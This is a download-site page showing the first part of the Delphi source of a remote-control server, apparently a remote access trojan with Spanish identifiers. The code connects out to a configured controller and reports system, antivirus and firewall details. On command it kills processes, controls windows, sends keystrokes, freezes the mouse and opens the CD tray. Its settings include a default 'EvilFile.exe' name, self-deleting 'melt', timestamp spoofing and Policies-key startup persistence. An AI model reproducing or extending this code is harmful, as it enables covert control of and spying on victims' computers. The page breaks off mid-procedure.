⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 server.~dpr

📁 远程控制软件
💻 ~DPR
📖 第 1 页 / 共 2 页
字号:
program Server;

{$R *.res}

uses
  Windows,
  SysUtils,
  ScktComp,
  MMSystem,
  ShellAPI,
  SndKey32,
  UnitFunciones,
  UnitSystemInfo,
  UnitProcess,
  UnitWindows,
  UnitBromas,
  UnitFileManager,
  UnitVariables,
  unitCapScreen,
  unitAvs,
  UnitCambioId,
  SettingsDef,
  UnitWebcam,
  UnitInstalacion,
  UnitShell,
  UnitTransfer;

type
  TMainApplication = class
    procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ClientSocketOnConnect(Sender: TObject; Socket: TCustomWinSocket);
  end;

var
  MainApplication: TMainApplication;
  Clientsocket: TClientsocket;
  Msg: TMsg;
  SH: Integer;
  RecibiendoFichero: boolean = false;

const
  WM_ACTIVATE = $0006;
  WM_QUIT = $0012;
  ENTER = #10;

procedure CrearServer();
var
  ConfigLeida: PSettings;
  i: integer;
begin
  if ReadSettings(ConfigLeida) = true then
  begin
    Configuracion.sHost := ConfigLeida^.sHost;
    Configuracion.sPort := ConfigLeida^.sPort;
    Configuracion.sID := ConfigLeida^.sID;
    Configuracion.iPort := ConfigLeida^.iPort;
    Configuracion.iTimeToNotify := ConfigLeida^.iTimeToNotify;
    Configuracion.bCopiarArchivo := ConfigLeida^.bCopiarArchivo;
    Configuracion.sFileNameToCopy := ConfigLeida^.sFileNameToCopy;
    Configuracion.sCopyTo := ConfigLeida^.sCopyTo;
    Configuracion.bCopiarConFechaAnterior := ConfigLeida^.bCopiarConFechaAnterior;
    Configuracion.bMelt := ConfigLeida^.bMelt;
    Configuracion.bArranquePolicies := ConfigLeida^.bArranquePolicies;
    Configuracion.sPoliciesRegKeyName := ConfigLeida^.sPoliciesRegKeyName;
    VersionDelServer := '0.4';
  end
  else
  begin
    Configuracion.sHost := '127.0.0.1';
    Configuracion.sPort := '2000';
    Configuracion.sID := 'Cool_server';
    Configuracion.iPort := 2000;
    Configuracion.iTimeToNotify := 5;
    Configuracion.bCopiarArchivo := False;
    Configuracion.sFileNameToCopy := 'EvilFile.exe';
    Configuracion.sCopyTo := '%Rootdir%\';
    Configuracion.bCopiarConFechaAnterior := False;
    Configuracion.bMelt := False;
    Configuracion.bArranquePolicies := False;
    Configuracion.sPoliciesRegKeyName := 'Cool_server';
    VersionDelServer := '0.4';
  end;


  if ParamStr(1) = '\melt' then
  begin
    for i := 1 to 5 do
    begin
      BorrarArchivo(ParamStr(2));
      if not FileExists(ParamStr(2)) then break;
      Sleep(10);
    end;
  end;


  MainApplication := TMainApplication.Create;
  ClientSocket := TClientSocket.Create(nil);
  ClientSocket.Host := Configuracion.sHost;
  ClientSocket.Port := Configuracion.iPort;
  ClientSocket.OnRead := MainApplication.ClientSocketRead;
  ClientSocket.OnError := MainApplication.ClientSocketError;
end;

procedure Conectar();
begin
  if not ClientSocket.Active then
    ClientSocket.Open
  else
    ClientSocket.Socket.SendText('CONNECTED?' + ENTER);
end;

procedure TMainApplication.ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  if ShellThreadID <> 0 then
    PostThreadMessage(ShellThreadID, WM_ACTIVATE, Length('exit'), DWord(string(PChar('exit'))));
  ErrorCode := 0;
end;

procedure TMainApplication.ClientSocketOnConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  Socket.SendText('SH|' + IntToStr(SH) + ENTER);
end;

procedure TMainApplication.ClientSocketRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  Recibido, Respuesta, TempStr, TempStr1, TempStr2, TempStr3: string;
  Tipo, BotonPulsado, i: Integer;
  TempCardinal: Cardinal;
  Tam: Int64;
  ShellParameters: TShellParameters;
  ThreadInfo: TThreadInfo;
  FilePath, LocalFilePath: AnsiString;
begin
  Recibido := Trim(Socket.ReceiveText);

  if Recibido = 'PING' then
  begin
    Socket.SendText('PONG' + ENTER);
    Exit;
  end;


  if Copy(Recibido, 1, 8) = 'MAININFO' then
  begin
    Delete(Recibido, 1, 9);
    SH := StrToInt(Recibido);


    Respuesta := Socket.LocalAddress + '|' +
      LeerID() + '|' +
      GetCPU() + '|' +
      GetOS() + '|' +
      VersionDelServer + '|';
    Socket.SendText('MAININFO|' + Respuesta + ENTER);
  end;

  if Recibido = 'INFO' then
  begin
    Respuesta := GetOS() + '|' +
      GetCPU() + '|' +
      GetUptime() + '|' +
      GetIdleTime() + '|' +
      ObtenerAvs() + '|' +
      ObtenerFirewall + '|' +
      GetPCName() + '|' +
      GetPCUser() + '|' +
      GetResolucion() + '|' +
      GetTamanioDiscos() + '|';
    Socket.SendText('INFO|' + Respuesta + ENTER);
  end;

  if Copy(Recibido, 1, 8) = 'SERVIDOR' then
  begin
    Delete(Recibido, 1, 9);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));
    if TempStr = 'INFO' then
    begin
      with Configuracion do
        TempStr := VersionDelServer + '|' +
          LeerId + '|' +
          sHost + '|' +
          sPort + '|' +
          IntToStr(iTimeToNotify) + ' seconds' + '|' +
          BooleanToStr(bCopiarArchivo, 'Yes', 'No') + '|' +
          sFileNameToCopy + '|' +
          sCopyTo + '|' +
          BooleanToStr(bMelt, 'Yes', 'No') + '|' +
          BooleanToStr(bCopiarConFechaAnterior, 'Yes', 'No') + '|' +
          BooleanToStr(bArranquePolicies, 'Yes', 'No') + '|' +
          sPoliciesRegKeyName + '|' + ParamStr(0) + '|';
      Socket.SendText('SERVIDOR|INFO|' + TempStr + ENTER);
    end;

    if TempStr = 'CERRAR' then
    begin
      Socket.SendText('MSG|Bye!');
      Halt;
    end;

    if TempStr = 'DESINSTALAR' then
    begin
      Socket.SendText('MSG|The server has been removed.');
      Desinstalar();
    end;
  end;

  if Recibido = 'PROC' then
  begin
    Respuesta := GetProc();
    Socket.SendText('PROC|' + Respuesta + ENTER);
  end;


  if Copy(Recibido, 1, 8) = 'KILLPROC' then
  begin
    Delete(Recibido, 1, 9);
    if TerminarProceso(Recibido) = True then
      Socket.SendText('MSG|Process killed with PID ' + Recibido + ENTER)
    else
      Socket.SendText('MSG| :( Cant kill process with PID ' + Recibido + ENTER);
  end;


  if Recibido = 'WIND' then
  begin
    Respuesta := GetWins();
    Socket.SendText('WIND|' + Respuesta + ENTER);
  end;

  if Copy(Recibido, 1, 7) = 'WINPROC' then
  begin
    Delete(Recibido, 1, 8);
    GetWindowThreadProcessID(StrToInt(Recibido), TempCardinal);
    Socket.SendText('WINPROC|' + Recibido + '|' + IntToStr(TempCardinal) + ENTER);
  end;

  if Copy(Recibido, 1, 8) = 'CLOSEWIN' then
  begin
    Delete(Recibido, 1, 9);
    CerrarVentana(StrToInt(Recibido));
    Socket.SendText('MSG|Window closed with Handle ' + Recibido + ENTER);
  end;

  if Copy(Recibido, 1, 6) = 'MAXWIN' then
  begin
    Delete(Recibido, 1, 7);
    MaximizarVentana(StrToInt(Recibido));
    Socket.SendText('MSG|Window maximized with Handle ' + Recibido + ENTER);
  end;

  if Copy(Recibido, 1, 6) = 'MINWIN' then
  begin
    Delete(Recibido, 1, 7);
    MinimizarVentana(StrToInt(Recibido));
    Socket.SendText('MSG|Window minimized with Handle ' + Recibido + ENTER);
  end;

  if Copy(Recibido, 1, 7) = 'SHOWWIN' then
  begin
    Delete(Recibido, 1, 8);
    MostrarVentana(StrToInt(Recibido));
    Socket.SendText('MSG|Window showed with Handle ' + Recibido + ENTER);
  end;

  if Copy(Recibido, 1, 7) = 'HIDEWIN' then
  begin
    Delete(Recibido, 1, 8);
    OcultarVentana(StrToInt(Recibido));
    Socket.SendText('MSG|Window hidden with Handle ' + Recibido + ENTER);
  end;

  if Recibido = 'MINALLWIN' then
  begin
    MinimizarTodas();
    Socket.SendText('MSG|All windows has been minimized.' + ENTER);
  end;

  if Copy(Recibido, 1, 11) = 'BOTONCERRAR' then
  begin
    Delete(Recibido, 1, 12);
    if Copy(Recibido, 1, 2) = 'SI' then
    begin
      Delete(Recibido, 1, 3);
      BotonCerrar(True, StrToInt(Recibido));
      Socket.SendText('MSG|Button on of window with Handle ' + Recibido + ENTER);
    end
    else
    begin
      Delete(Recibido, 1, 3);
      BotonCerrar(False, StrToInt(Recibido));
      Socket.SendText('MSG|Button off of window with Handle ' + Recibido + ENTER);
    end;
  end;

  if Copy(Recibido, 1, 8) = 'SENDKEYS' then
  begin
    Delete(Recibido, 1, 9);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));
    try
      i := StrToInt(TempStr)
    except
      begin
        Socket.SendText('MSG|Keys wasnt sended to window with handle ' + TempStr + ENTER);
        Exit;
      end;
    end;
    AppActivateHandle(i);
    SendKeys(PChar(Recibido), True);
    Socket.SendText('MSG|Keys sended to window with handle ' + TempStr + ENTER);
  end;


  if Copy(Recibido, 1, 15) = 'MOUSETEMBLOROSO' then
  begin
    Delete(Recibido, 1, 16);
    if Recibido = 'On' then
    begin
      CongelarMouse(False);
      TemblarMouse(True);
      Socket.SendText('MOUSETEMBLOROSO|On' + ENTER);
    end
    else
    begin
      TemblarMouse(False);
      Socket.SendText('MOUSETEMBLOROSO|Off' + ENTER);
    end;
  end;

  if Copy(Recibido, 1, 13) = 'CONGELARMOUSE' then
  begin
    Delete(Recibido, 1, 14);
    if Recibido = 'On' then
    begin
      TemblarMouse(False);
      CongelarMouse(True);
      Socket.SendText('CONGELARMOUSE|On' + ENTER);
    end
    else
    begin
      CongelarMouse(False);
      Socket.SendText('CONGELARMOUSE|Off' + ENTER);
    end;
  end;

  if Copy(Recibido, 1, 7) = 'ABRIRCD' then
  begin
    Delete(Recibido, 1, 8);
    if Recibido = 'On' then
    begin
      mciSendString('Set cdaudio door open wait', nil, 0, hInstance);
      Socket.SendText('ABRIRCD|On' + ENTER);
    end
    else
    begin
      mciSendString('Set cdaudio door closed wait', nil, 0, hInstance);
      Socket.SendText('ABRIRCD|Off' + ENTER);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -